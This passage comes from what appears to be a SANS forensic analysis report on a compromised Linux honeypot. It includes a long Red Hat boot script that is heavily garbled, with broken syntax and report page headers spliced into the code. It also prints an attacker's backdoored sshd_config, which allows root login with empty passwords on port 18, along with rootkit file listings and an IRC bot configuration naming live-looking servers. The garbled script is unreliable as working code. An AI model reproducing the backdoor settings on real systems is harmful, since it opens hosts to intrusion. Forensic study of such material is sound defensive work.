  action "$Mounting USB filesystem: " mount -t usbdevfs usbdevfs /proc/bus/usb
```
for alias in $aliases ; do
  if [ "$alias" != "off" ] && action "$alias": "modprobe $alias"
done
  [ $? -eq 0 -a $aliases ] && usb=1
fi

if ! grep -iq "nousb" /proc/cmdline 2>/dev/null && grep -q "usb" /proc/devices 2>/dev/null ; then
  usb=1
fi

needusbstorage=
  if [ $usb = "1" ]; then
    sleep 5
    mouseoutput=`cat /proc/bus/usb/devices 2>/dev/null|grep -E "^I.*Cls=03.*Prot=02"`
    kbdoutput=`cat /proc/bus/usb/devices 2>/dev/null|grep -E "^I.*Cls=03.*Prot=01"`
    needusbstorage=`cat /proc/bus/usb/devices 2>/dev/null|grep -e "^I.*Cls=08"`
    if [ -n "$kbdoutput" ] || [ ! -n "$mouseoutput" ]; then
      action "$alias": "modprobe hid 2> /dev/null"
    fi
    if [ ! -n "$kbdoutput" ]; then
      action "$alias": "modprobe keybdev"
    fi
    if [ ! -n "$mouseoutput" ]; then
      action "$alias": "modprobe mousedev"
    fi
  fi
  if [ -f /fastboot ] || grep -iq "fastboot" /proc/cmdline 2>/dev/null ; then
    fastboot=yes
    else
    fastboot=
  fi
  if [ -f /fsckoptions ]; then
    fsckoptions=`cat /fsckoptions`
    else
    fsckoptions=
  fi
  if [ -f /forcefsck ]; then
    fsckoptions="-f $fsckoptions"
  elif [ -f /.autofsck ]; then
    echo "$AUTOFSCK_DEF_CHECK=no"
    [ -f /etc/sysconfig/autofsck ] && . /etc/sysconfig/autofsck
    if [ "$AUTOFSCK_DEF_CHECK" = "yes" ]; then
      AUTOFSCK_OPT=-f
    else
      AUTOFSCK_OPT=
    fi
  if [ "$PROMPT" != "no" ] ; then
    if [ "$AUTOFSCK_DEF_CHECK" = "yes" ] ; then
      if /sbin/getkey -c $AUTOFSCK_TIMEOUT -m "$PROMPT: Press N within \d seconds to not force file system integrity check..." n ; then
        AUTOFSCK_OPT=
      else
        if /sbin/getkey -c $AUTOFSCK_TIMEOUT -m "$PROMPT: Press Y within \d seconds to force file system integrity check..." y ; then
          AUTOFSCK_OPT=-f
        fi
      echo
    else
# PROMPT not allowed
if [ "$AUTOFSCK_DEF_CHECK" = "yes" ]; then
echo "$Forcing file system integrity check due to default setting"
else
echo "$Not forcing file system integrity check due to default setting"
fi
fi
fsckoptions="$AUTOFSCK_OPT $fsckoptions"
fi
if [ "$BOOTUP" = "color" ]; then
fsckoptions="-C $fsckoptions"
else
fsckoptions="-V $fsckoptions"
fi

_RUN_QUOTACHECK=0
ROOTFSTYPE=`grep " / " /proc/mounts | awk '{ print $3 }'`
if [ -z "$fastboot" -a "$ROOTFSTYPE" != "nfs" ]; then
STRING=$"Checking root filesystem"
initlog -c "fsck -T $fsckoptions /
rc=$?
if [ "$rc" = "0" ]; then
success "$STRING"
else
passed "$STRING"
fi
else
  # A return of 2 or higher means there were serious problems.
fi
if [ "$rc" -gt 1 ]; then
failure "$STRING"
echo
echo $"**** An error occurred during the file system check."
echo $"**** Dropping you to a shell; the system will reboot"
echo $"**** when you leave the shell."
PS1=$"(Repair filesystem) \\
# # "; export PS1
sulogin

  # Possibly update quotas if fsck was run on /.
  grep -E '([^:space:]+)/(^[^:space:]+)' /etc/fstab | 
  awk '{ print $4 }' | 
  grep -q quota
_RUN_QUOTACHECK=0
if [ X"$RUN_QUOTACHECK" = X1 -a "$ROOT_HAS_QUOTA" -a 
  -x /sbin/quotacheck ]; then
if [ -x /sbin/convertquota ]; then
  if [ -f /quota.user ]; then
    action "$Converting old user quota files: \\
    /sbin/convertquota -u / && rm -f /quota.user
  fi
fi
if [-f /quota.group ]; then
    action "$Converted old group quota files: 
        /sbin/convertquota -g / && rm -f /quota.group"
fi

# Checking root filesystem quotas:
/bin/quotacheck -nug

# Check for arguments passed from kernel
if grep -iq nopnp /proc/cmdline >/dev/null 2>&1 ; then
    PNP=
else
    PNP=yes
fi

# Set up pnp
if [-x /sbin/isapnp -a ! -f /etc/isapnp.conf ]; then
    if [ -n "$PNP" ]; then
        action "$Setting up ISA PNP devices: 
            /sbin/isapnp /etc/isapnp.conf"
    else
        action "$Skipping ISA PNP configuration at users request: 
            /bin/true"
    fi
fi

# Remount the root filesystem read-write.
state=`awk '/(^ /dev /root|/ )/ { print $4 }' /proc/mounts`
    [ "$state" != "rw" ] &&
    action "$Remounting root filesystem in read-write mode: 
        mount -n -o remount,rw /"

# LVM initialization
if [ ! -e /proc/lvm -a -x /sbin/vgchange -a -f /etc/lvmtab ]; then
    action "$Setting up Logical Volume Management: 
        /sbin/vgscan & & /sbin/vgchange -a y"
fi

# Clear mtab
/>etc/mtab

# Remove stale backups
rm -f /etc/mtab~ /etc/mtab~~

# Enter root, /proc and (potentially) /proc/bus/usb and devfs into mtab.
mount -f /
    mount -f /proc
    mount -f /proc/bus/usb/devices & & mount -f -t usbdevfs usbdevfs /proc/bus/usb
    mount -f -t devfs devfs /dev

# The root filesystem is now read-write, so we can now log via syslog() directly..
if [ -n "$IN_INITLOG" ]; then
    IN_INITLOG=
fi

if ! grep -iq nomodu /proc/cmdline >/dev/null 2>&1 && [ -f /proc/ksyms ]; then
    USEMODULES=y
else
    USEMODULES=
fi

# Our modutils don't support it anymore, so we might as well remove
# the preferred link.
rm -f /lib/modules/preferred
rm -f /lib/modules/default
if [-x /sbin/depmod -a -n "$USEMODULES" ]; then
    if they aren't using a recent sane kernel, make a link for them
    if [ ! -n "$uname -r " | grep -- "-r" ]; then
        ktag="`cat /proc/version`"
        mtag=`grep -l "$ktag" /lib/modules/*/.rhkmvtag 2> /dev/null`
        ln -s /lib/modules/"$ktag" /lib/modules/*
        ln -r /lib/modules/"$ktag" /lib/modules/"$ktag"
if [ -n "$mtag" ]; then
  mver=`echo $mtag | sed -e 's,/lib/modules/,,'
       -e 's,.rhkmvtag,,'
       -e 's,[ ].*$,,'
fi
if [ -n "$mver" ]; then
  ln -sf /lib/modules/$mver /lib/modules/default
fi
if [ -L /lib/modules/default ]; then
  INITLOG_ARGS= action "$Finding module dependencies: " depmod -A default
else
  INITLOG_ARGS= action "$Finding module dependencies: " depmod -A
fi

# tweak isapnp settings if needed.
if [ -n "$PNP" -a -f /proc/isapnp -a -x /sbin/sndconfig ]; then
  /sbin/sndconfig --mungepnp >/dev/null 2>&1
fi

# Load sound modules iff they need persistent DMA buffers
if grep -q "options sound dmabuf=1" /etc/modules.conf 2>/dev/null ; then
  RETURN=0
  alias="/sbin/modprobe -c | awk '/^alias sound / { print $3 }'
  alias="/sbin/modprobe -c | awk '/^alias sound-slot-0 / { print $3 }'"
  if [ -n "$alias" -a "$alias" != "off" ] ; then
    action "$Loading sound module ($alias): " modprobe sound
    RETURN=$?
  fi
  alias="/sbin/modprobe -c | awk '/^alias sound-slot-0 / { print $3 }'"
  if [ -n "$alias" -a "$alias" != "off" ] ; then
    action "$Loading sound module ($alias): " modprobe sound-slot-0
    RETURN=$?
  fi
fi

if [ -f /proc/sys/kernel/modprobe ]; then
  if [ -n "$USEMODULES" ]; then
    sysctl -w kernel.modprobe="/sbin/modprobe" >/dev/null 2>&1
    sysctl -w kernel.hotplug="/sbin/hotplug" >/dev/null 2>&1
  else
    # We used to set this to NULL, but that causes 'failed to exec' messages
    sysctl -w kernel.modprobe="/bin/true" >/dev/null 2>&1
    sysctl -w kernel.hotplug="/bin/true" >/dev/null 2>&1
  fi
fi

# Load modules (for backward compatibility with VARs)
if [ -f /etc/rc.modules ]; then
  /etc/rc.modules
fi

# Add raid devices
if [ ! -f /proc/mdstat ]; then
  modprobe md >/dev/null 2>&1
fi

if [ -f /proc/mdstat -a -f /etc/raidtab ]; then
  echo -n "$Starting up RAID devices: 
rc=0
for i in `grep "^["]*raiddev" /etc/raidtab | awk '{print $2)'`
do
  RAIDDEV=`basename $i`
  RAIDSTAT=`grep "^["$RAIDDEV : active" /proc/mdstat`
  if [ -z "$RAIDSTAT" ]; then
    # First scan the /etc/fstab for the "noauto"-flag
    # for this device. If found, skip the initialization
    # for it to avoid dropping to a shell on errors.
    do
# If not, try raidstart...if that fails then
# fall back to raidadd, raidrun. If that
# also fails, then we drop to a shell
RESULT=1
NOAUTO=`grep "^$i" /etc/fstab | grep -c "noauto"`
if [ $NOAUTO -gt 0 ]; then
  RESULT=0
  RAIDDEV="$RAIDDEV(skipped)"
fi
if [ $RESULT -gt 0 -a -x /sbin/raidstart ]; then
  /sbin/raidstart $i
  RESULT=$?
fi
if [ $RESULT -gt 0 -a -x /sbin/raid0run ]; then
  /sbin/raid0run $i
  RESULT=$?
fi
if [ $RESULT -gt 0 -a -x /sbin/raidadd -a -x /sbin/raidrun ]; then
  /sbin/raidadd $i
  /sbin/raidrun $i
  RESULT=$?
fi
if [ $RESULT -gt 0 ]; then
  rc=1
  echo -n "$RAIDDEV 
else
  echo -n "$RAIDDEV 
fi
done
echo
# A non-zero return means there were problems.
if [ $rc -gt 0 ]; then
echo
  echo
  echo "$*** An error occurred during the RAID startup"
  echo "$*** Dropping you to a shell; the system will reboot"
  echo "$*** when you leave the shell."
  PS1="$"RAID Repair) \# "; export PS1
sulogin
  echo "$Unmounting file systems"
  umount -a
  mount -o remount,ro /
  echo "$Automatic reboot in progress."
  reboot -f
fi
# LVM initialization, take 2 (it could be on top of RAID)
if [-e /proc/lvm -a -x /sbin/vgchange -a -f /etc/lvmtab ]; then
  action "$Setting up Logical Volume Management:" /sbin/vgscan & & /sbin/vgchange -a y
fi
_RUN_QUOTACHECK=0
# Check filesystems
if [-z "$fastboot" ]; then
  STRING="$Checking filesystems"
echo $STRING
  initlog -c "$fsck -T -R -A -a $fsckoptions"
  rc=$?
  if [ "$rc" = "0" ]; then
    success "$STRING"
    echo
eelif [ "$rc" = "1" ]; then
    passed "$STRING"
    echo
  fi
EnCase Computer Analysis Report
Sans GCFA Cert Assignment: EnCase Computer Analysis Report
Page 231

fi

# A return of 2 or higher means there were serious problems.
if [ $rc -gt 1 ]; then
    failure "STRING"
echo
echo $"*** An error occurred during the file system check."
    echo $"*** Dropping you to a shell; the system will reboot"
    echo $"*** when you leave the shell."

PS1=""{Repair filesystem}" \
    " export PS1
sulogin
echo $"Unmounting file systems"
    umount -a
    mount -n -o remount,ro /
    echo $"Automatic reboot in progress."
    reboot -f
eelif [ "*Src" = "1" ] -a -x /sbin/quotacheck ]; then
    _RUN_QUOTACHECK=1
fi
fi

# Mount all other filesystems (except for NFS and /proc, which is already
# mounted). Contrary to standard usage,
# filesystems are NOT unmounted in single user mode.
action "$Mounting local filesystems: " mount
    -a -t nonfs,smbfs,ncpfs -O no_netdev

# check remaining quotas other than root
if [ X"_RUN_QUOTACHECK" = X1 -a -x /sbin/quotacheck ]; then
    if [ -x /sbin/convertquota ]; then
        # try to convert old quotas
        for mountpt in `cat /etc/mtab | awk '$4 ~ /quota/{print $2}'`; do
            action "$Converting old user quota files: " \
                /sbin/convertquota -u $mountpt && \
                rm -f $mountpt/quota.user
        done
    fi
    if [ -f "$mountpt/quota.group" ]; then
        action "$Converting old group quota files: " \
            /sbin/convertquota -g $mountpt && \
            rm -f $mountpt/quota.group
    fi
    done

action "$Checking local filesystem quotas: " /sbin/quotacheck -aRnug
fi

if [ -x /sbin/quotaon ]; then
    action "$Enabling local filesystem quotas: " /sbin/quotaon -aug
fi

# Configure machine if necessary.
if [ -f /.unconfigured ]; then
    if [ -x /usr/bin/passwd ]; then
        /usr/bin/passwd root
    fi
    if [ -x /usr/sbin/netconfig ]; then
        /usr/sbin/netconfig
    fi
    if [ -x /usr/sbin/timeconfig ]; then
        /usr/sbin/timeconfig
    fi
    if [ -x /usr/sbin/kbdconfig ]; then
        /usr/sbin/kbdconfig
    fi
    if [ -x /usr/sbin/authconfig ]; then
        /usr/sbin/authconfig --nostart
    fi

```
if [ -x /usr/sbin/ntsysv ]; then
  /usr/sbin/ntsysv --level 35
fi

# Reread in network configuration data.
if [ ! -f /etc/sysconfig/network ]; then
  /etc/sysconfig/network
fi

# Reset the hostname.
action "$/Resetting hostname $HOSTNAME": " hostname $HOSTNAME":
  rm -f /unconfigured
fi

# Clean out /etc.
rm -f /fastboot /fsckoptions /forcefsck /autofsck /halt /poweroff

# Do we need (w|u)tmpx files? We don't set them up, but the sysadmin might...
  _NEED_XFILES=
    [ -f /var/run/utmpx ] && _NEED_XFILES=1

# Clean up /var
# I'd use find, but /usr may not be mounted.
for afile in /var/lock/* /var/run/*; do
  if [ -d "$afile" ]
    [ "basename $afile" != "news" -a "basename $afile" != "sudo" -a "basename $afile" != "mon" ] && rm -f $afile/
  else
    rm -f $afile
  fi
done
rm -f /var/lib/rpm/__db*

# Reset pam console permissions
  [ -x /sbin/pam_console_apply ] && /sbin/pam_console_apply -r

# Clean up utmp/wtmp
  >/var/run/utmp
  touch /var/log/utmp
  chgrp utmp /var/run/utmp /var/log/utmp
  chmod 0644 /var/run/utmp /var/log/utmp
  if [ -n "$_NEED_XFILES" ]; then
    >/var/run/wtmp
    touch /var/log/wtmp
    chgrp utmp /var/run/wtmp /var/log/wtmp
    chmod 0644 /var/run/wtmp /var/log/wtmp
  fi

# Delete X locks
rm -f /tmp/.X*-lock

# Delete VNC & X locks
rm -rf /tmp/.X*-unix

# Delete Postgres sockets
rm -f /tmp/.s.PGSQL*

# Now turn on swap in case we swap to files.
swapon -a
action "$/Enabling swap space": " /bin/true

# Initialize the serial ports.
if [ -f /etc/rc.serial ]; then
  . /etc/rc.serial
fi
```
EnCase Computer Analysis Report

# If a SCSI tape has been detected, load the st module unconditionally
# since many SCSI tapes don't deal well with st being loaded and unloaded
if [-f /proc/scsi/scsi ] && grep -q 'Type:  Sequential-Access' /proc/scsi/scsi 2>/dev/null ; then
  if grep -qv ' 9 st' /proc/devices ; then
    # Try to load the module. If it fails, ignore it...
    insmod -p st >/dev/null 2>&1 && modprobe st >/dev/null 2>&1
  fi
  fi
fi

# Load usb storage here, to match most other things
if [ -n "$needusbstorage" ]; then
  modprobe usb-storage >/dev/null 2>&1
fi

# If they asked for ide-scsi, load it
if grep -q "ide-scsi" /proc/cmdline ; then
  modprobe ide-cd >/dev/null 2>&1
  modprobe ide-scsi >/dev/null 2>&1
fi

# Turn off DMA on CD-ROMs. It more often than not causes problems.
if [-e /proc/ide ]; then
  for N in `grep -v ide-disk */proc/ide/*/*/driver 2>/dev/null | awk '{ print $5 }'`; do
    hdparm -q -d0 /dev/$N >/dev/null 2>&1
  done
fi

# Turn on harddisk optimization
# There is only one file /etc/sysconfig/harddisks for all disks
# after installing the hdparm-RPM. If you need different hdparm parameters
# for each of your disks, copy /etc/sysconfig/harddisks to
# /etc/sysconfig/harddiskhda (hdb, hdc...) and modify it.
# Each disk which has no special parameters will use the defaults.
# Each non-disk which has no special parameters will be ignored.
if [ -x /sbin/hdparm ]; then
  for device in 0 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20; do
    unset MULTIPLE_IO USE_DMA EIDE_32BIT LOOKAHEAD EXTRA_PARAMS
    if [ -f /etc/sysconfig/harddisk$device ]; then
      . /etc/sysconfig/harddisk$device
      HDFLAGS=$device=""
      if [ -n "$MULTIPLE_IO" ]; then
        HDFLAGS=$device="-q -m$MULTIPLE_IO"
      fi
      if [ -n "$USE_DMA" ]; then
        HDFLAGS=$device="$\{HDFLAGS$device\} -q -d$USE_DMA"
      fi
      if [ -n "$EIDE_32BIT" ]; then
        HDFLAGS=$device="$\{HDFLAGS$device\} -q -c$EIDE_32BIT"
      fi
      if [ -n "$LOOKAHEAD" ]; then
        HDFLAGS=$device="$\{HDFLAGS$device\} -q -A$LOOKAHEAD"
      fi
      if [ -n "$EXTRA_PARAMS" ]; then
        HDFLAGS=$device="$\{HDFLAGS$device\} $EXTRA_PARAMS"
      fi
      else
        HDFLAGS=$device="$\{HDFLAGS$device\}"
      fi
  done
fi
HDFLAGS[$device]="${HDFLAGS[0]}"
fi
if [ -e "/proc/ide/${disk[$device]}/media" ]; then
    hdmia=`cat /proc/ide/${disk[$device]}/media`
    if [ "$hdmia" = "disk" ]; then
        if [ -n "$HDFLAGS[$device]" ]; then
            action $"Setting hard drive parameters for ${disk[$device]}: ": 
            /sbin/hdpa rm ${HDFLAGS[device]} /dev/${disk[$device]}
        fi
    fi
done

# Generate a header that defines the boot kernel.
/sbin/mkkerneldoth

# Adjust symlinks as necessary in /boot to keep system services from
# spewing messages about mismatched System map and so on.
if [ -L /boot/System.map -a -r /boot/System.map-`uname -r` -a 
    ! /boot/System.map -ef /boot/System.map-`uname -r` -a 
    ln -s -f System.map-`uname -r` /boot/System.map 
fi
if [ -e /boot/System.map -a -r /boot/System.map-`uname -r` ]; then
    ln -s -f System.map-`uname -r` /boot/System.map 
fi

# The special Red Hat kernel library symlink must point to the right library
# We need to deal with cases where there is no library, and we need to
# deal with any version numbers that show up.
for library in /lib/kernel/$(uname -r)/libredhat-kernel.so* ; do
    ln -s f $library /lib/
done

# Now that we have all of our basic modules loaded and the kernel going,
# let's dump the syslog ring somewhere so we can find it later
# dmesg > /var/log/dmesg
# Also keep kernel symbols around in case we need them for debugging
i=5
while [ $i -ge 0 ] ; do
    if [ -f /var/log/ksyms.$i ] ; then
        mv /var/log/ksyms.$i /var/log/ksyms.$((i+1))
        i=$(($i - 1))
    done
    /bin/date; /bin/uname -a;
    /bin/cat /proc/cpuinfo;
    [ -r /proc/modules ] & & /bin/cat /proc/modules;
    [ -r /proc/ksem] & & /bin/cat /proc/ksem]
    /var/log/ksyms.0

# create the crash indicator flag to warn on crashes, offer fsck with timeout
touch ~/.autofsck
sleep 1
kill -TERM `/sbin/pidof getkey` >/dev/null 2>&1 &
if [ "$PROMPT" = "no" ]; then
    /sbin/getkey i & & touch /var/run/confirm
fi
wait

39) Name sshd_config
Description File
Full Path /var/www/EnCase/EnCase Computer Analysis Report Page 234
Entry Modified 06/29/03 03:25:20PM
Comment: This is the sshd_config file, used by nfsd.

# Do not delete this file is very important for your system.conf

Port 18
ListenAddress 0.0.0.0
HostKey /sbin/xxh_h
RandomSeed /sbin/xxh_r
ServerKeyBits 768
LoginGraceTime 600
KeyRegenerationInterval 3600
PermitRootLogin yes
IgnoreRhosts no
StrictModes yes
QuietMode Yes
X11Forwarding yes
X11DisplayOffset 10
FascistLogging no
PrintMotd yes
KeepAlive yes
SyslogFacility DAEMON
RhostsAuthentication no
RhostsRSAAuthentication yes
RSAAuthentication yes
PasswordAuthentication yes
PermitEmptyPasswords yes
UseLogin no
# CheckMail no
# PidFile /u/zappa/.ssh/pid
#AllowHosts
# DenyHosts lowsecurity.theirs.com *.evil.org evil.org
# Umask 022
# SilentDeny yes

**Config files**

httpd configuration files

40) Name  access.conf
Description  File
Full Path  Sans GCFA Cert Assignment\Linux 7.3 Honey pot system\etc\httpd\conf\access.conf
Entry Modified  06/20/03 02:17:32AM
Last Accessed  06/29/03 04:02:23AM
Last Written  04/09/02 12:56:58PM
Hash Value  5cfc0c5e40cc02c415b7b1c6f325eecd
Physical Size  1,024
Logical Size  285

41) Name  httpd.conf
Description  File
Full Path  Sans GCFA Cert Assignment\Linux 7.3 Honey pot system\etc\httpd\conf\httpd.conf
Entry Modified  06/27/03 02:11:35PM
Last Accessed  06/29/03 04:02:23AM
42) Name: smr.conf
Description: File
Full Path: Sans GCFA Cert Assignment\Linux 7.3 Honey pot system\etc\httpd\conf\smr.conf
Entry Modified: 06/20/03 02:17:32AM
Last Accessed: 06/29/03 04:02:23AM
Last Written: 04/09/02 12:56:58PM
Hash Value: b0366af9aad99e0f7515bbdc255e9a23
Physical Size: 1,024
Logical Size: 297

43) Name: httpd.conf.bak
Description: File
Full Path: Sans GCFA Cert Assignment\Linux 7.3 Honey pot system\etc\httpd\conf\httpd.conf.bak
Entry Modified: 06/27/03 02:08:34PM
Last Accessed: 06/27/03 02:08:34PM
Last Written: 04/09/02 12:56:58PM
Hash Value: 55d44549fa2d844e59257b0f6286e197
Physical Size: 52,224
Logical Size: 51,270

**Root kit files**

This is the samba.tgz file downloaded during the ssh (port 18) connection. As seen in the sebek log for the activity.

**samba.tgz files**

44) Name: samba.tgz
Description: File
Full Path: Sans GCFA Cert Assignment\Linux 7.3 Honey pot system\tmp\font-unix\samba.tgz
Entry Modified: 06/29/03 03:41:42PM
Last Accessed: 06/29/03 03:41:56PM
Last Written: 04/29/03 06:48:30AM
Hash Value: 4c41dbabb341cf57e56c0394d6efc3d3
Physical Size: 13,312
Logical Size: 13,183

The samba.tgz files are used to assess and attack other hosts.

**These files are the IRC server software files.**

45) Name: README
Description: File
Full Path: Sans GCFA Cert Assignment\Linux 7.3 Honey pot system\tmp\font-unix\X11-pipe\README
Entry Modified: 06/29/03 03:32:50PM
Last Accessed: 06/29/03 03:34:10PM
<table>
<thead>
<tr>
<th>Name</th>
<th>Description</th>
<th>Full Path</th>
<th>Entry Modified</th>
<th>Last Accessed</th>
<th>Last Written</th>
<th>Hash Value</th>
<th>Physical Size</th>
<th>Logical Size</th>
</tr>
</thead>
<tbody>
<tr>
<td>LinkEvents</td>
<td>File</td>
<td>Sans GCFA Cert Assignment\Linux 7.3 Honey pot system\tmp\font- unix\X11-pipe\LinkEvents</td>
<td>06/29/03 03:43:55PM</td>
<td>06/29/03 03:34:10PM</td>
<td>06/29/03 03:43:55PM</td>
<td>a20fef753ecc02a2a21d18bcfe466808</td>
<td>1,024</td>
<td>80</td>
</tr>
<tr>
<td>mech.set</td>
<td>File</td>
<td>Sans GCFA Cert Assignment\Linux 7.3 Honey pot system\tmp\font- unix\X11-pipe\mech.set</td>
<td>06/29/03 03:32:50PM</td>
<td>06/29/03 03:34:10PM</td>
<td>01/29/03 05:11:38PM</td>
<td>d09d745a3eebdbec553e943a1c68f98e</td>
<td>2,048</td>
<td>1,150</td>
</tr>
<tr>
<td>checklpd</td>
<td>File</td>
<td>Sans GCFA Cert Assignment\Linux 7.3 Honey pot system\tmp\font- unix\X11-pipe\checklpd</td>
<td>06/29/03 03:32:50PM</td>
<td>06/29/03 03:34:10PM</td>
<td>10/09/00 06:22:02PM</td>
<td>ff23e76196e176c1ce664a6f1d7718</td>
<td>1,024</td>
<td>942</td>
</tr>
<tr>
<td>lpd.usr</td>
<td>File</td>
<td>Sans GCFA Cert Assignment\Linux 7.3 Honey pot system\tmp\font- unix\X11-pipe\lpd.usr</td>
<td>06/29/03 07:00:27PM</td>
<td>06/29/03 03:34:10PM</td>
<td>06/29/03 03:32:27PM</td>
<td>e64ef3ddd690630d1cdcea47593ee9e8</td>
<td>1,024</td>
<td>352</td>
</tr>
<tr>
<td>M4c4r0n.seen</td>
<td>File</td>
<td>Sans GCFA Cert Assignment\Linux 7.3 Honey pot system\tmp\font- unix\X11-pipe\M4c4r0n.seen</td>
<td>06/29/03 03:32:50PM</td>
<td>06/29/03 03:32:50PM</td>
<td>03/15/02 07:20:20PM</td>
<td>© SANS Institute 2004, Author retains full rights.</td>
<td></td>
<td></td>
</tr>
<tr>
<td>Name</td>
<td>Description</td>
<td>Full Path</td>
<td>Entry Modified</td>
<td>Last Accessed</td>
<td>Last Written</td>
<td>Hash Value</td>
<td>Physical Size</td>
<td>Logical Size</td>
</tr>
<tr>
<td>------------</td>
<td>-------------</td>
<td>---------------------------------------------------------------------------</td>
<td>-----------------</td>
<td>---------------</td>
<td>--------------</td>
<td>-------------------</td>
<td>---------------</td>
<td>--------------</td>
</tr>
<tr>
<td>configure</td>
<td>File</td>
<td>Sans GCFA Cert Assignment\Linux 7.3 Honey pot system\tmp.font-unix\X11-pipe\configure</td>
<td>06/29/03 03:32:50PM</td>
<td>06/29/03 03:34:10PM</td>
<td>10/09/00 06:22:02PM</td>
<td>2b3e48069a38040311204acc1a4224b</td>
<td>20,480</td>
<td>20,290</td>
</tr>
<tr>
<td>MrIdiot.seen</td>
<td>File</td>
<td>Sans GCFA Cert Assignment\Linux 7.3 Honey pot system\tmp.font-unix\X11-pipe\MrIdiot.seen</td>
<td>06/29/03 07:10:27PM</td>
<td>06/29/03 03:35:40PM</td>
<td>06/29/03 07:10:27PM</td>
<td>938fa960b7f4f7e28ed7f8e35cab9a4</td>
<td>1,024</td>
<td>148</td>
</tr>
<tr>
<td>mech.levels</td>
<td>File</td>
<td>Sans GCFA Cert Assignment\Linux 7.3 Honey pot system\tmp.font-unix\X11-pipe\mech.levels</td>
<td>06/30/03 04:00:00PM</td>
<td>06/29/03 03:34:10PM</td>
<td>06/30/03 04:00:00PM</td>
<td>dc8afcc07717b777b9129f26c033d311</td>
<td>2,048</td>
<td>1,085</td>
</tr>
<tr>
<td>mech.pid</td>
<td>File</td>
<td>Sans GCFA Cert Assignment\Linux 7.3 Honey pot system\tmp.font-unix\X11-pipe\mech.pid</td>
<td>06/29/03 03:32:59PM</td>
<td>06/29/03 03:34:10PM</td>
<td>06/29/03 03:32:59PM</td>
<td>01548d54a5a49e4258f36046ded9f8b8</td>
<td>1,024</td>
<td>6</td>
</tr>
<tr>
<td>mech.session</td>
<td>File</td>
<td>Sans GCFA Cert Assignment\Linux 7.3 Honey pot system\tmp.font-unix\X11-pipe\mech.session</td>
<td>06/30/03 04:00:00PM</td>
<td>06/29/03 04:00:24PM</td>
<td>06/30/03 04:00:00PM</td>
<td>e5da1d9a1274662cbab181c00e66c875</td>
<td>1,024</td>
<td></td>
</tr>
</tbody>
</table>
Logical Size 374

Comment: IRC server config file.

```
linkport -l
nick VIRGINU
login Idiot
ircname Idiot
modes ix
userfile lpd.usr

tog SPY 1
tog AOP 1
tog PROT 1
tog AOP 1
tog PROT 1
tog AOP 1
tog PROT 1
channel #selekt
tog AOP 1
tog PROT 1
channel #0rastie
tog AOP 1
tog PROT 1
channel #bash
set MDL 4
set MPL 2
tog AOP 1
tog SHIT 1
tog PROT 1
server XXX.XXX.2.23 6660
server 195.54.102.4 6667
server 205.252.46.98 6667
server 195.159.135.99 6667
server 194.117.157.68 6667
```
## EnCase Computer Analysis Report

### Sans GCFA Cert Assignment

<table>
<thead>
<tr>
<th>Entry</th>
<th>Description</th>
<th>Full Path</th>
<th>Last Accessed</th>
<th>Last Written</th>
<th>Hash Value</th>
<th>Physical Size</th>
<th>Logical Size</th>
</tr>
</thead>
<tbody>
<tr>
<td>59)</td>
<td>Name</td>
<td>randsay.e</td>
<td>06/29/03 03:32:50PM</td>
<td>10/09/00 06:22:02PM</td>
<td>9877c324eb9b24b5464f9e3fe4176460</td>
<td>1,024</td>
<td>519</td>
</tr>
<tr>
<td></td>
<td>Description</td>
<td>File</td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td></td>
<td>Full Path</td>
<td>Sans GCFA Cert Assignment\Linux 7.3 Honey pot system\tmp\font-unix\X11-pipe\randfiles\randsay.e</td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td></td>
<td>Entry Modified</td>
<td>06/29/03 03:32:50PM</td>
<td>Last Accessed</td>
<td>06/29/03 03:32:50PM</td>
<td>Last Written</td>
<td>10/09/00 06:22:02PM</td>
<td>Hash Value</td>
</tr>
<tr>
<td>60)</td>
<td>Name</td>
<td>randversions.e</td>
<td>06/29/03 03:32:50PM</td>
<td>10/09/00 06:22:02PM</td>
<td>0b252e189020453aad18b93913e44ec3</td>
<td>2,048</td>
<td>1,465</td>
</tr>
<tr>
<td></td>
<td>Description</td>
<td>File</td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td></td>
<td>Full Path</td>
<td>Sans GCFA Cert Assignment\Linux 7.3 Honey pot system\tmp\font-unix\X11-pipe\randfiles\randversions.e</td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td></td>
<td>Entry Modified</td>
<td>06/29/03 03:32:50PM</td>
<td>Last Accessed</td>
<td>06/29/03 03:32:50PM</td>
<td>Last Written</td>
<td>02/27/01 07:14:04AM</td>
<td>Hash Value</td>
</tr>
<tr>
<td>61)</td>
<td>Name</td>
<td>com-ons.c</td>
<td>06/29/03 03:32:50PM</td>
<td>02/27/01 07:14:04AM</td>
<td>1f39ee4b22d6e67cae4269eccfead55e</td>
<td>92,160</td>
<td>91,656</td>
</tr>
<tr>
<td></td>
<td>Description</td>
<td>File</td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td></td>
<td>Full Path</td>
<td>Sans GCFA Cert Assignment\Linux 7.3 Honey pot system\tmp\font-unix\X11-pipe\src\com-ons.c</td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td></td>
<td>Entry Modified</td>
<td>06/29/03 03:32:50PM</td>
<td>Last Accessed</td>
<td>06/29/03 03:32:50PM</td>
<td>Last Written</td>
<td>08/27/01 02:00:22PM</td>
<td>Hash Value</td>
</tr>
<tr>
<td>62)</td>
<td>Name</td>
<td>com-ons.o</td>
<td>06/29/03 03:32:50PM</td>
<td>08/27/01 02:00:22PM</td>
<td>1f39ee4b22d6e67cae4269eccfead55e</td>
<td>92,160</td>
<td>91,656</td>
</tr>
<tr>
<td></td>
<td>Description</td>
<td>File</td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td></td>
<td>Full Path</td>
<td>Sans GCFA Cert Assignment\Linux 7.3 Honey pot system\tmp\font-unix\X11-pipe\src\com-ons.o</td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td>63)</td>
<td>Name</td>
<td>commands.c</td>
<td>06/29/03 03:32:50PM</td>
<td>08/27/01 02:00:22PM</td>
<td>1f39ee4b22d6e67cae4269eccfead55e</td>
<td>92,160</td>
<td>91,656</td>
</tr>
<tr>
<td></td>
<td>Description</td>
<td>File</td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
